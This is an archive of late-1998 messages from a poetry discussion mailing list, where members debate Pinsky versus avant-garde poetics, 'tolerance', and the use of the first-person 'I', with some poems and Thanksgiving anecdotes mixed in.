Well, Mike, my apologies if I DID misread the tone, certainly not impossible. Along with the passage I excerpted yesterday, it was your reference to "little Bobby Pinsky" that I took to be condescending and, moreover, exactly the kind of rhetoric that defeats your good purposes. Yes I did read the rest of the post; I prefer the remarks above and those that followed. And I have no doubt that you've read lots there at Penn (I think you're there) with Bob P and Al F and what sounds like a lively community.

Mark, quoting one of my cheesier sentences, writes:

> *I'm with Ron Silliman when he says that he finds it important to read poets in the other so-called camp.*
>
> *Well, this is true, but i'm becoming increasingly bemused by the repetition of this banality....*
>
> *Are there people on this list who have *not* read widely in all types of poetry, including the most dominant workshop/poet laureate modes????*
>
> *No doubt there are some, though i wonder if there quite as many as these schoolmasterly admonitions assume....*

I'd call attention first to the "so-called," omnipresent and weak academicism that it might be, and maybe the typing should have landed it before "other." And just as Robert Creeley is fond of Hank Williams, I'm rather fond of banalities as they stagger through permutational forms and performance. Otherwise, why would I remain on this list and suffer its eternal return? (My first Poetics List statement on this matter can be found on the bottom of Jed Rasula's Wax Museum, page 339. I was 12 years old when I wrote that, and now I am 87.) As for the "schoolmasterly," will you please put that on letterhead and mail it to my department so that they will recognize that their apathy and/or befuddlement about my various activities derives from their failure to recognize that they have an F. R. Leavis in their presence?

Jonathan,following Mark, writes:

> *Banality it is, with the added implication, almost comical, that there are only 2 "camps"--us and them. I think Mark is right that most of us have, at one time or another, read a wide variety of poets. In my misspent youth I used to read Josephine Miles, Howard Nemerov, Seamus Heaney, Anthony Hecht, John Betjeman, Robert Bly, W.S. Merwin, Louise Gluck, Louis Simpson, John Berryman, just about anyone in the Norton anthology of Modern Poetry. I "studied" writing with Karl Shapiro and Thom Gunn as an undergraduate. I guess it would be possible now, for a young person who happened to get hooked up with an avant-garde mentor early on, to bypass a lot of the mainstream or academic tradition, in which case this banality--"you really should check out Lowell and Auden"--would have some meaning.*

That's a stellar list, you're right, though there are poems by several of these folks I'd give to any student about to be brainwashed by me. But what I find interesting is the self-recrimination and the scare quotes (maybe) around "studied." Is this meant to suggest that you learned little or nothing of value from Shapiro and Gunn? I also refer you to the "so-called" re "camps." If it seemed so, I surely did not mean to imply that there are only two camps out there. From a certain perspective, there are of course infinite differences among "us." And then from other perspectives--let's say those informed by Pierre Bourdieu maybe (Hello David Kellogg)-- I'm sure that the differences and alignments usually referred to when poets such as Howe and Pinsky are contrasted and not "threaded"-- as in my first post on this matter--resemble bowlers choosing between red and blue balls. And so on and so on. I am not going to commit sociology today.

KT

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817. Tom Beard
the first person (to get laid)
Tue 24 Nov 1998

> *"there is only one reason a guy dances in public -- he's trying to get laid."*

Hey, don't knock it, it works!

(or at least it used to - these days I just get arrested)

But seriously, Eliza, though you are being a little reductive, it could be a useful reduction. Many (if not all?) writers consider the image that their writing might give their readers, at least in the back of their mind. Perhaps one of the more common impressions that poets (often, but not entirely, male) are trying to give is, I admit, "I'm sensitive and intelligent, so please sleep with me".

Here are some other messages that various poets send out:

- "I'm witty and charming, so please invite me to your dinner parties."
- "I'm a double-hard bastard, so don't fuck with me."
- "Hey look! I've read Derrida!"
- "I'm thoughtful and accessible and comforting, so please make me Laureate."
- "Ha, no-one's done _this_ before!"
- "I've got a nice garden full of nice flowers, and a nice house full of nice cushions."
- "If you'd had a proper education, you'd be able to read Provencal and Sanskrit too."
- "I exist, and I have a point of view that's worth reading."
- "I'm such a genius (Byron & Ginsberg & Jim Morrison all rolled into one) that I don't need to revise or edit."
- "If I use 'sd' and 'thru' and 'cld', you might think I was at Black Mountain."
- "I write about drugs & television, so I'm not a boring middle-class fart like you."

Exercise for the reader: match these up to poets you know.

> *we both discussed the navel-gazing feel of poems constantly fixated on "I..I..I"*

I agree, this gets dull..dull..dull. But I think that this is _the_ reason that a lot of people start writing poetry, at least for those without a literary background. Not out of narcissism (many won't even show their poems to anyone else), but because they want to validate and express their experiences. One hopes, however, that if they continue to write, their writing will go beyond "expression"

towards a thoughtful exploration of experience/emotions, and how the act of writing can shape experience.

There's another good reason to "fixate on 'I'": the sense of I-ness is a bloody important fact of our lives. Consciousness & subjectivity are worth exploring. It could be argued that Langpo's mission to deconstruct the unified subjective "I" of lyric poetry is itself an obsession with "I..I..I". The deafening absence of "self" underscores it's importance. I know that a poem of mine where I intentionally avoided all use of personal pronouns (no "I", "you", "we", "they") ended up being one of the most intensely personal that I'd ever written.

Of course, it's not the exploration of selfhood that you're attacking: it's the unexamined "I" or workshop poetry. One might write a poem full of "I" and still challenge received notions of I-ness (Creeley; Rimbaud's "I is an other").

The poetics and politics of personal pronouns seems endlessly fascinating. The pronoun of choice among the local workshop crowd (otherwise known as the VUP mafia) is "you": "You walk/beside water. Your/mouth is full of song." To me, it makes everything sound like a choose-you-own-adventure book: the Sundaystream crowd complain that it makes everything sound detached and bloodless. It's probably the result of wanting to be impersonal, but not wanting to use the word "one" because it makes one sound like Prince Charles.

Someone in a workshop once told me off for using the word "we" in a poem. She claimed that it was arrogant, the royal "we", and that "you can only speak for yourself". It made me think, but I still use "we" quite a lot, because it allows a subtle ambiguity of speaking positions: an intimate speech between friends or lovers; satirically speaking for one's generation; an almost mythological mode of speaking for the species; and yes even the royal "we" at times.

> *he went on to describe the bravado, grope after rhythm, intent expression, bizarrely focused energy, of... well, of a guy trying to attain some of the proverbial.*

To me, this sounds like a description of some fairly interesting poetry...

Cheers,
Tom Beard.

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818. **Mark Weiss**

Re: one trip ticket to New American Poetry of the 80's/90's/forever?

Tue 24 Nov 1998

You're certainly to my mind describing the target group, a pretty flaccid group at best. But first person as criterion needs a little refinement. There's also "Of

arms and the man I sing..." and "I saw the best minds of my generation..." and "My quietness has a man in it..."

At 06:30 PM 11/24/98 -0500, you wrote:
>ok, a few months ago a friend of mine, c.e. chaffin ([redacted])
>gave me a whooping up about a pet literary bug of his which i am afraid may
>have turned into a twainian "one trip ticket." i herewith pass it on in
>hopes i will come out the tunnel on the other side unbeset.
>
>in summary that does no justice to c.e., he finds there to be a
>prevailing mode in modern poetry of first person, intimate address.
>poems start off as if narrator addressing best friend over a half-full
>beer glass and launch, forthwith, into personal woes. he has begun to
>find this annoying.
>
>i brushed it off with an "oh c.e., what does it matter what case a writer
>chooses for the narrator of her or his poem? poems throughout history have
>been written in the first person, adn addressed that way to the reader."
>c.e. was not convinced.
>
>i thought that was the end of it, a difference of opinion between
>writing chums. but as i read many of the poems moving across my
>screen, in zines, journals, anthologies, books, something began to
>bite a path from my ear to my brain... i opened up a variant of this
>discussion with another chum, r.j. mccaffery ([redacted]).
>we both discussed the navel-gazing feel of poems constantly fixated on
>"I..I..I" and how poem ABOUT ANOTHER PERSON, i.e. telling their story,
>felt less neurotic and self-absorbed, both as writer and as reader.
>
>now during current discussion of robert pinsky, that bug in my ear set to
>whining in a high pitched mosquito noise. i got out my New American Poets
>of the 80's to read what there was of pinsky, as well as a couple of other
>sources. lo, it was the "I."
>
>but even worse, the poem groupings excerpted of larry levis, mark
>doty, micheal burkard, mark jarman, denis johnson, robert long, steve
>orlen, greg pape, bin ramke, michael ryan, micheal sheridan, john
>skyoles, gary soto, maura stanton, david st. john, james tate, richard
>tillinghast, leslie ullman, michael waters, roger weingarten, .. god,
>i'll stop now. but the poems in their section, poems i've been
>reading from that era, poems i'm seeing lately, seem, way too often,
>to be these extended "here let me tell you about my sad self, my

>precious observations, my sensitive soul, what makes me feel X Y Z" or
>these vague, I Am Pronouncing epics wrapping the whole world up in a
>ball, covering it with tin foil, and shooting it into the corner in
>front of what is supposed to be an admiring crowd.
>
>in short, they began to sound, to me, like a guy trying to get laid.
>
>i admit, the latter image came from yet another source -- a friend saying
>"there is only one reason a guy dances in public -- he's trying to get
>laid." and he went on to describe the bravado, grope after rhythm, intent
>expression, bizarrely focused energy, of... well, of a guy trying to
>attain some of the proverbial.
>
>and there is a long history, in poetry, of guys writing the things because
>they are trying to get laid. and of course, anthologies reflect the neurosis
>of the anthologists.
>
>but listafarians, is it just me? yes, pinsky has gone on to write
>many other poems sounding nothing like an attempt to talk someone into
>the horizontal. but don't they, often, sound like, well... isn't it
>sort of an Iowa Writers Workshop sound, the earnest tortured and
>sincere confessional (and almost all of the writers in New American
>Poets ... seem, one way or another, to have an affiliation with Iowa
>W.W. All of them have an academic affiliation. most of them are
>male. doesn't that seem pretty fucked up for an anthology purporting
>to represent the best new american writing of hte 80's? and both of
>the anthologizers, jack myers and roger weingarten, included
>themselves! -- THAT to my mind is really self serving to the limit.)?
>isn't writing, from late 60's on, way too caught up in these personal
>monologues? i used to love sexton -- haven't dared open up one of her
>books lately... maybe one of the really experimental (and refreshing)
>things about langpo/pomo writing (and it's offspring) is a focus on
>something other than the earnest "I"?
>
>r.j. had been particularly tryuing to sell me on thomas lux and stephen
>dobbyns. neither wallows in the earnest "I" -- they stick out in this
>anthology, for example, like anything.
>
>comments? slingshot shots? flowers? horrified silence (elliza SHUT
>UP!)?
>
>will someone, in four months, write with an insane twinge "one trip

>ticket, one trip ticket... all that earnest "I" can't they talk about
>something besides themselves or those sophmoric My View Of Life
>essays?"
>
>shall i inflict quotes on you all to back this up -- i'm not sure i
>could stand it.
>
>e
>
>

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819. **George Thompson**
Re: enough already!
Tue 24 Nov 1998

I agree with Marjorie Perloff that it is time to put this thread to bed. I just want to say that the subject heading that I used in my last post was an act of carelessness, a typical misuse of the automatic REPLY button, and was not intended as an act of indirect bashing [just in case it may have appeared to be].

Putting aside the messy rhetorical baggage that attached to the term tolerance, once the thread got rolling, I at least have no problems with what she has argued for, except that I think that there is a default [therefore automatic] definition of poetics which much of the list operates with, and which I think is too narrow [or: too us vs them]. I say this as someone who is not involved in any of the camps [I gave up camping to study Sanskrit].

As for the list's discourse hitting a real low here, I have to agree with Henry Gould: I've seen it MUCH lower than this [for example sll the sordid things that Bromige and Bowering do, and have been doing for years apparently, to their ex-friend Eliza McGrand (not her real name): I don't know why the list, never mind poor Eliza, puts up with them].

I send this in the dark

GT

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820. **BETSY ANDREWS**
Re: Thoughts on the Pinsky/Howe
Tue 24 Nov 1998

Amen to David Kellog's post! As a Jew and a lesbian, I really resent the suggestion that tolerance is mediocre or unnecessary or apolitical or dirty or any other

negative. Tolerance is just about the most we expect of each other in a complicated world. As for the entire thread, critique masks elitism masks insecurity. Forgoodness sakes, people. There is enough room out there in the world for zillions upon zillions upon zillions of words. Shouldn't we be HAPPY that there is a greater interest in poetry in this country? Shouldn't we THANK slam poetry for that, you snobs? Sure, there are the economic and political issues of who gets published and who gets the jobs, but everyone is guilty of playing that game, and you never know who will rule the next hegemony. (Everyone might benefit from re-reading Czeslaw Milosz. You know, the ironic question, "What is poetry which does not save nations or people?") For instance, all you "experimental" 'zine editors won't be publishing any progenies of Pinsky or any slam poets, no matter how talented they may be and how moving their work might be. This thread has been a turf battle blown up into a jargonistic farce. No one has absolute authority over aesthetics. Not even you all. In the name of bad taste, I leave you with a poem about my lover's ass:

BEHIND

You. Vista.
Past the blue chewed frisbee and sleeping dog
what an ass in the air says to me about composition
the drive toward regularity, formality, toward heaven
such simple material inflated, dialogic
relentless choral couplets
ballade in perfect rounds
spondee with caesura the conspicuous 3rd eye
in the boom-boom thrust toward godhead
we make like the divine molding animal crack-
ers Polly wants a...Polly wants a...Polly wants it
perfect choicest cut
but get closer and the almost imperceptible assymetry
unfolds something in the air about the form is
slightly off on the swells a tiny shark yawns
inky blue persuasion old tattoo human cant
the difference between rhyming and poetry is this:
hair hemorroid pimple pock and
the acrid open moment of one's wanting still and all
the 3rd eye winks the new day dawns
the sharp sweet mess of it--
so human so actual--
unknots

anti-vanguardist, betsy

> From: David Kellogg <[redacted]>
> To: [redacted]
> Subject: Thoughts on the Pinsky/Howe
> Date: Monday, November 23, 1998 9:22 AM
>
> OK, I've got a big stake in this, as those who've read my work know.
>
> In these Southern parts, I hear a lot of anti-tolerance talk, of the
> following type: "They don't want me to just tolerate their perverted,
> ungodly lifestyle, they want me to accept it and promote it."
>
> Actually, tolerance would be just fine.
>
> Marjorie wants to separate political from aesthetic tolerance, but don't
> think such separation can or should be done, esp. since the operations of
> the "academic" (which as Ron pointed out, has yet to be unpacked) mean
that
> poetry evaluation and poetry jobs go uneasily together.
>
> Jonathan Mayhew may be right that the word "tolerance" is both negative
and
> vacuous, but our whole language for dealing with these issues is bankrupt
--
> whaddaya wanna do, not talk about it?
>
> Jonathan, if Pinsky is a "mediocre poet," are those who actually enjoy
his
> work mediocre readers? Mediocre intellects? Mediocre people?
>
> I'm with Susan Schultz (hi Susan!) -- I'll passionately advocate my
tastes,
> but I'm not about to speak for another.
>
> Cheers,
> David
>
~~~
~~~

> [redacted] Durham, NC 27708
> FAX [redacted] http://www.duke.edu/~kellogg/

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821. **Mark W Scroggins**
Re: enough already!
Tue 24 Nov 1998

In re Carlo's post-- yes, Alphaville's a pretty damn good used bookstore, with good prices to boot. And without even buying a book, you can get roundly abused by the owner! (who says there's no pleasure involved in reading poetry? beats out "La Nouvelle Justine: The S&M Cafe" [motto: "If you have reservations, stay home"] any day!) Mark S

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822. **Ramez Qureshi**
Re: Enough already. /Bad news about "The Paper."/p.s. Marjorie Perloff was wrong
Tue 24 Nov 1998

I've stayed away from this discussion, being but a grad student who tweaked his way into a creative writing program that dosn't make you write blank verse. I've recently been saved from the likes of Lowell and Auden, and can't get enough of Pound on down. This said, "The Paper" (The New York Times of course) ran a review today on Heany's selected poems along with Venthelaw's new book on Heany, calling her America's "most astute and erudite poetry critic." Now, the Times will publish ten full reviews a year max on poetry books in their Sunday review, but very very rarely will they give one a review as part of their daily regimen. Which is only to show just how entrenched the "establishment" is, when the likes of Pinsky's fellow unextraordinary Bostonian gets reviewed. On the other hand, I find Stevens in Rothenberg's _Revolution of the Word_ anthology, and isn't ol' Harpo Bloom one of Ashbery's strongest promoters? Like Perloff I like Montale, and isn't Montale published (his late work) by New Directions? The penultimate issue of The NYRB may have had its Pinsky poem, but the current one has an article on Pessoa, not in the American avante-garde tradition (and yes the review was by Merwin), but he does get discussed on this list. I don't know if i've just said anything, but anyway. Why is it that i'm not alone in prefering the American avante-garde and the foreign giants? (Examples of the latter include not just Pessoa and Montale, but recent NYRB reviewees Milosz, Zagajewski, and Venclova) Heany excepted, along with Brodsky. Whatever.

P.S. Marjorie Perloff was wrong. I "need" poetry
-RQ

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823. Todd Baron /*/ ReMap
poetics and the holidays (we pass)
Tue 24 Nov 1998

This is a multi-part message in MIME format.

>

HAPPY HOLIDAYS
(for fifty-thousand received and sent
E-mails)

> *the shot--lands--I'm sure*
> *in the "best part"*
>
>
>
> *ps: wonderful how a friendship is--now--e-*
> *maild--and electronic--like Whitman's tele-*
> *graphic line--we are*
> *McLuhan's only*
> *children--now*
> *that we "know" what we know " "*
> *about the world and each other*
> *through the wires. Too, poetry*
> *is slow, as money is*
> *costly to print*
> *the faces on those bills*
> *unseen and read. Poetry*
> *is "useless", finally, and*
> *politically, I believe, a trap--all*
> *those who feed others*
> *know the poem is*
> *an ornament--blast-pheme*
> *he said, a poet*
> *streaking across the sky*
> *like some ram-*
> *jet of old--but really--*
> *if you were hungry you*
> *wouldn't go to*
> *college, would you? trans-*
> *formed--the ballet--into*
> *wings--not yet*
> *transmited, and yet,*
> *Ballanchine died*

> *for want of*
> *nothing less.*

by swan.prod.itd.earthlink.net (8.8.7/8.8.5) with SMTP id QAA13062;
Tue, 24 Nov 1998 16:27:54 -0800 (PST)
Date: Wed, 25 Nov 1998 04:32:25 +0000
From: Todd Baron /*/ ReMap <[redacted]>
Organization: Re*Map
To: Hoa Nguyen <[redacted]>
CC: [redacted]
Subject: Re: as if I were
References: <[redacted]>

the shot--lands--I'm sure
in the "best part"

All love to you, two, too

Todd B.

ps: wonderful how a friendship is--now--e-
maild--and eletronic--like Whitman's tele-
graphic line--we are
McLuhan's only
children--now
that we "know" what we know " "
about the world and each other
through the wires. Too, ReMap
is slow, as money is
costly to print
the faces on those bills
unseen and read. Poetry
is "useless", finally, and
politically, I believe, a trap--all
those who feed others
kow the poem is
an ornament--blas-phere
he said, a poet
streaking across the sky
like some ram-
jet of old--but really--
if you were hungry you
wouldn't go to
college, would you? trans-
formed--the ballet--into

wings--not yet
transmited.

----------12071CE04736--

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824. **J Kimball**
Deepening name-calling
Wed 25 Nov 1998

gravy-free poetics

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825. **Emily Lloyd**
I ain't for Iowa
Wed 25 Nov 1998

Ach, everybody off Marjorie. It was a low dig, but it was a good dig, & I see no reason why someone with power & publications shouldn't be permitted to win a cat fight. To say "We expected better of you, Marjorie" and not to say the same to Gabriel seems a ridiculous reinforcement of exactly what most here are attempting to argue against: the notion that one is superior simply because one's got more pubs. It's just that here you're talking moral superiority. WHY would you expect better of Marjorie? It's as if people are secretly glad to have a popularly accepted reason to slap her wrist...a chance to write "I told off MARjorie PERloff today!" in their journals.

So yeah, enough. We could've cornrowed Lucie Brock-Broido's hair in the time this thread's taken.

Eliza--on the "I" thing: it seems "I"s often become the scapegoat for plain old self-indulgent writing that assumes the poet's life &/or thoughts are inherently interesting. "I" comes to stand for "egocentric." Perhaps the pronoun lends itself to easy abuses, but I disagree with those who assume it necessarily *leads* to them (or that a poem lacking an "I" can't be at least as self-indulgent). It was hard not to crack up when, on the first day of a course called "Open Poetics," the professor--w/all the passion of Garbo--cried, "We must get RID of the *I* that PLAGUES us!!!" And the "I" gets identified with "academic" poetry, yet it pops up in many of Bernstein's & Mayer's infamous exercises; Joe Brainerd's never taken to task; Hejinian's _My Life_ isn't accused of assuming LH's life is inherently interesting. Why? I guess because it's so damn good. It lances those nasty PLAGUE buboes.

What of poems that go beyond the elevation of the poet's private life to the elevation of the poet's private jokes? Is this even more self-indulgent? It would

seem so. Yet in Stein it works (for me) rather charmingly. But when Rod Smith writes, in _In Memory of My Theories_, "Why does Ron Silliman hate Shakespeare?...Do a fractal of it"? Here it's not only the poet's life, but Ron Silliman's (eek! another poet with another life!) taste in literature that's assumed inherently interesting. I ain't saying I didn't laugh when I read it.

Just that "I" doesn't stand for "Iowa."

Speaking of--what *does* Iowa stand for, now that Hejinian's teaching there? I for one inherently interesting one am now regretting having steered clear of it (for the reasons you mentioned) when searching for MFA programs to join and drop out of...(oy! for Lyn, I might've stayed)...

em

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826. **david bromige**

6). My only book thus far is _A New Definitive and Thoroughgoing Late-Bakhtinian, Post-Lacanian, Somewhat-Foucauldian, and Certainly-Deleuzean Creative Rereading of David Bromige's Tight Corners and What's Around Them._

Wed 25 Nov 1998

While I realize Gabriel spoke in jest, no doubt somewhat at random, & even perhaps in disparagement ("Omnibus P. Poppycock" would scarcely write anything worthwhile), like Tom Beard with his typography project [which I find fascinating] I feel that my 1974 book, _Tight Corners_ , would yield much to such a reading. I had not read any of those authors at that time, so nothing of theirs is woven in; discounting trickle-down and cultural synchronicities, then, the tight corners would prove perfect vehicles for projection.

I say everything you're thinking. I have no thoughts of my own.

David

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827. **George Bowering**

re : tolerance Bowering-style

Wed 25 Nov 1998

> *You _are_ kidding, aren't you!*
> *Brahms*

No, honest. I never heard of those people. I wondered whether they had been heard of by others, or just the person who mentioned them.

But then people here have been talking about one Pinsky--as if anyone had ever read Pinsky. I never have. I dont know anyone in Canada who has read Pinsky. But I know 100 Canadians who have read Tom Raworth.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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828. R. Gancie/C.Parcelli

Re: enough already!

Wed 25 Nov 1998

Another Henry misread screed. Nada by fiat.--cp
Henry Gould wrote:
>
> I love the header for this thread. Especially around Thanksgiving.
> No Mom, I DO NOT want any more jellified squash! Enough already!
>
> Okay, some sociology before pie. Rules for research:
>
> 1. Do not blame the established digestive tract for the lack of Vitamin
> Experimental. Zukofsky had sex appeal - he was just too hypochondriac
> & didn't get around enough. Typical introvert.
>
> 2. Do not measure literary popularity in terms of acid relief medication.
> Do not misjudge the general public. Regular peeples have enough poetry
> in their lives - that's why they don't take any book pitches seriously.
> That's why there were all these angsty "I"s hanging around the singles
> bars - it was a tough scene. Casanovas are a dime a dozen - but Masters &
> Johnson appear just once in a generation.
>
> 3. Book people want to change the world through books because books
> are their world. Same deal with poets. In modern times everybody
> understands revolution - it's like the neighborhood Sunday riot -
> very few understand the good life. And I'm not talking barbecues,
> daquiris and Caribbean tub-time. Thomas More wrote Utopia as a farce.
> That's why we're always talking sociology on this list, power relations,
> rather than the individual achievements & skill & marvels of particular

> poets & poems. Nobody's doing their homework. The high point of this
> thread was when Mike Magee pointed out the too-obvious cops from Emerson
> in Pinsky's poem. I don't know where he got that from but SOMEBODY's
> reading poetry. The cure is obvious - do your homework & write good
> indie-crit.
>
> - Henry Gould

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829. **miekal and**
Nedge
Wed 25 Nov 1998

What's Nedge? Why should its mailbox be full? What kind of word is it anyway?

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830. **Joe Brennan**
Re: enough already!
Wed 25 Nov 1998

---

as someone who actually frequents alphaville on a regular basis -- it's a terrific bookstore -- I've never seen carlo parcelli insult anyone who didn't insult him first, nor do I know anyone who's more passionate and involved with poetry then he is, and that includes those of us on this listserv. folks who suggest anything to the contrary simply don't know what they're talking about, which on this list is not all that unusual....

happy turkey day....

joe brennan

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831. **Henry Gould**
Re: enough already!
Wed 25 Nov 1998

I love the header for this thread. Especially around Thanksgiving. No Mom, I DO NOT want any more jellified squash! Enough already!

Okay, some sociology before pie. Rules for research:

1. Do not blame the established digestive tract for the lack of Vitamin Experimental. Zukofsky had sex appeal - he was just too hypochondriac & didn't get around enough. Typical introvert.

2. Do not measure literary popularity in terms of acid relief medication. Do not misjudge the general public. Regular peeples have enough poetry in their lives - that's why they don't take any book pitches seriously. That's why there were all these angsty "I"s hanging around the singles bars - it was a tough scene. Casanovas are a dime a dozen - but Masters & Johnson appear just once in a generation.

3. Book people want to change the world through books because books are their world. Same deal with poets. In modern times everybody understands revolution - it's like the neighborhood Sunday riot - very few understand the good life. And I'm not talking barbecues, daquiris and Caribbean tub-time. Thomas More wrote Utopia as a farce. That's why we're always talking sociology on this list, power relations, rather than the individual achievements & skill & marvels of particular poets & poems. Nobody's doing their homework. The high point of this thread was when Mike Magee pointed out the too-obvious cops from Emerson in Pinsky's poem. I don't know where he got that from but SOMEBODY's reading poetry. The cure is obvious - do your homework & write good indie-crit.

- Henry Gould

↑ Index

832. Randy Prunty

the power (or not) of pronouns

Wed 25 Nov 1998

I recently experimented with a poem in which I tried to go "over the top" with the use of "I". I was in every line. not easy to do. then I wrote a mirror poem by replacing every I, I'm, I'll with You, You're, You'll etc. Had a rather interesting effect, read really with a different vibe, and helped me figure out what I really wanted to do with the poem. I considered changing to "we", but by this time the experiment was over.

Randy

↑ Index

833. Gabriel Gudding

Re: 6). My only book thus far is _A New Definitive and Thoroughgoing Late-Bakhtinian, Post-Lacanian, Somewhat-Foucauldian, and Certainly-Deleuzean Creative Rereading of David Bromige's Tight Corners and What's Around Them._

Wed 25 Nov 1998

On Tue, 24 Nov 1998, david bromige wrote:

> *While I realize Gabriel spoke in jest, no doubt somewhat at random, & even perhaps in disparagement ("Omnibus P. Poppycock" would scarcely write*

No, David Bromige, I most emphatically NOT speak in disparagement.

How can I put this without sounding fawning: I. Fucking. LOVE. Your. Work.

Yours, Brenda Floribunda

↑ Index

834. Judy Roitman
Re: enough already!
Wed 25 Nov 1998

> *it's true, Alphaville is a pretty good used bookstore. I've never spoken with the staff, though, so my taste has never been commented upon. nevertheless, I do read poetry for pleasure. I didn't know there was anything wrong with that.*

Amen, and I read Susan Howe for pleasure and I'll bet most of the folks on this list do to.

The folks Carlo Parcelli is writing about don't read for pleasure, they read to have their prejudices confirmed. As against (to quote C.P.) "a natural affinity for texts that take me out of myself so I'm confronted with new worlds of information." Which doesn't necessarily mean a natural affinity for, say, Susan Howe (apologies should she be reading this for the way in which her name is ceaselessly invoked as an emblem), but at least an affinity for folks who pay attention to what they are doing and don't settle for the obvious. Which can be done within any poetic persuasion.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

835. Henry Gould
air for thanksgiving
Wed 25 Nov 1998

AIR FOR THANKSGIVING

I was just leaving our Little Olde Post Office here in Providence, to check as I do every day my little too-empty Nedge mail box (c'mon you snobs & snobbettes - send us some poems & reviews! Nedge ain't gliss but it's dirigible), medgitating and coditating on a previous message sent in which Henry claimed that the "parochial is the essence of world civilization" or some such thing, when Our Big Olde Postal Employee with the scraggly gray hair over ye Olde Bald Pate & the rubicund Falstaffian manner called out, "yeah, I'm going down to get some coffee & hang out with the POETS!! Hah ha hah!" Which caused the scrappy wee bantam-weight olde Chap he was serving to turn & say "Yes! You DESERVED that! Ha hah!" & dash out the door with Henry; this fellow, ye Olde Local Character RISD professor Providence-born- &-bred contributor to historical reminiscence columns of local paper English teacher jazz afficionado will-go-nameless literature lover shook my hand & re-introduced himself for the thousandth time as we strolled along ye Olde Sidewalk, past - a newly-vacant lot.

Not long before, a little TINY old red clapboard one-story one- person house had stood there, dwarfed by Burger King on one side & latest restaurateur-real-estate mafia (truly) ye Olde Campus Adjunct Parasite creation on the other. In that little old house lived quietly a little OLD African-American lady. Now dear reader you must understand that bellifluous Providence is a delicate diorama of Historical Preservation- Erasure, and this little old lady represented a very anomalous ungentrified holdover in that particular spot; she even played a bit part in Henry Gould's magnificent 2000-quatrain epic poem which takes place over a few blocks of prime Providence real estate. So Henry's ears pricked up when ye Olde Bantam Raconteur said: "yes, she's gone - remember the house there? I knew her - took a lot of photographs there - the nicest old lady - afraid toward the end she was being ripped off by her nurse attendant - and now she's gone - and I wanted that little house to be YOUR OFFICE!"

Henry was a bit puzzled by this remark until he realized ye Olde Prof was speaking poetically as he continued - "Brown should have bought that & put some mild harmless scholar in there to do their thing - that was the glory of Yale in the old days - but you know it was that mafia boy's doing, tearing it down - now it will be a parking lot - "

Henry spoke up tentatively - "Yeah, I was interested - put her in a long poem of mine - "

"Well now it's just a VOID - nobody will remember - it will be a PARKING LOT!"

Henry, trying to smooth things over, said, "Well, have a nice Thanksgiving" or some such poetic remark - the olde Prof said - "you too - what are you having? Not turkey, I hope!" Henry replied (honestly) "well... I don't know actually".

Spake the Prof: "ahh.. you ARE a poet! There are still POETS around! That's what a POET would say! Ha hah!"

And after they bade ye olde farewells, Henry felt a knot of bitterness in his belly, and realized... he was having NOTHING for thanksgiving - in fact, he'd just received it, in his solar plexus. And that departing olde bantam Rhode Island Red - HE was the poet - & Henry was just... the turkey. And the grass grew in the little square plot where the little red house where the little old black woman had lived, long ago, yesterday. Cowwamaunsch. Moshassuck. Cowwamaunsch.

↑ Index

836. Joe Amato/Kass Fleisher
so don't read this unless---
Wed 25 Nov 1998

---

well, just unless... i thought i'd try to get back to one loose end in the prior (i hope it's prior) and trying discussion re tolerance/intolerance, why i'd rather avoid those terms... reason is that they may well have broader cultural implications than they might appear to have (which are not about to be understood, pace gg's remarks, via antebellum romanticism, however defined)...

so for you trivia buffs out there, the following excerpt from david m. potter's _people of plenty: economic abundance and the american character_ (u of chicago p, 1954 originally---year before i was born---but the edition i'm quoting from is 1973))... potter's (dated as put forth yet still intriguing) thesis has to do with how the usa as a land o plenty (today we might say, *represented* as a land o plenty) has created institutions predicated on abundance... anyway, the following comes after a brief discussion of the levelling effect of radio soap-operas:

"In a sense---a negative sense---the desire to offend no one involves an attitude of what may be called 'tolerance.' As David Riesman tellingly remarks, the writer and broadcaster, addressing himself to the amorphous audience, does not know how the virus of indignation may be received, and he must therefore 'be preoccupied with the antibodies of tolerance.' But, clearly, this tolerance is, as the phrase implies, one of mental asepsis rather than one of mental nourishment. It deals with ideas not by weighting them but by diluting them. Tolerance once implied that the advocates of an idea might be heard without prejudice and judged on their merits, but this toleration merely implies that, since society will refrain from exercising the power to judge them, it will relieve itself of responsibility to hear them. It involves not impartiality of judgment but simply default of judgment." (186-7)

i would argue that this particular postwar effect (still with us? resurrected of late?) accords nicely with jed rasula's premise in _the american poetry wax museum_ that the "age of sociology" provoked in poetry a formalist's formalism... of course the beats (e.g.) may be understood as rising *in opposition to* this---as risking offense---in part b/c of their associated theorizing (as rasula argues---though this latter point is in some sense more controversial)... and oh yes---i do believe the argument via broadcasting (potter eventually goes on to discuss advertising) is pertinent to other cultural forms...

in any case, one might conclude, like me, that "tolerance" as "default of judgment" leaves something to be desired... if this in fact *does* have something to do with (not only potter's) "american character" (albeit revised to incl. a half-century of rearticulation and modification), well then to ask in the late 90s that we be "tolerant" is at the very least a complicated request, complicated (for one) by one's sense of relative abundance perhaps (i.e., one's economic class perspective---whether one feels we can "afford" to be tolerant)...

ergo i'd rather simply avoid the term... but just so's i make mself remotely clear... for my part, i prefer to situate today's urgencies against the backdrop of more recent histories, if only b/c of the amplified nature of our public domain...

///

joe

↑ Index

837. **miekal and**
sorry, help
Wed 25 Nov 1998

CAN SOMEONE B/C ME WITH INSTRUCTIONS HOW TO SET DIGEST & THEN RESTORE IT LATER?

↑ Index

838. **henry**
Re: Nedge
Wed 25 Nov 1998

Hi Miekal - it's a poetry mag - comes out about every 9 months - tiny circulation - struggling to move beyond parochial-traditionalist-amateur status, but not struggling too hard - would be happy to send you a sample free if you send address - you probably know some of my biases already (I prefer Hart Crane & Wallace Stevens for example), but we have published people like Leslie Scalapino, Jacques Debrot, Wendy Kramer, Eileen Myles, & other explorers -

Nedge is a neologism born out of an acronym. Formerly Northeast Journal, an old RI litmag, which people would call NEJ. I turned it into a word. Was happy to learn it already was a word, sort of: mathematical shorthand for "number of edges".

- Henry

↑ Index

839. **sylvester pollet**
Re: Resumes & typography
Wed 25 Nov 1998

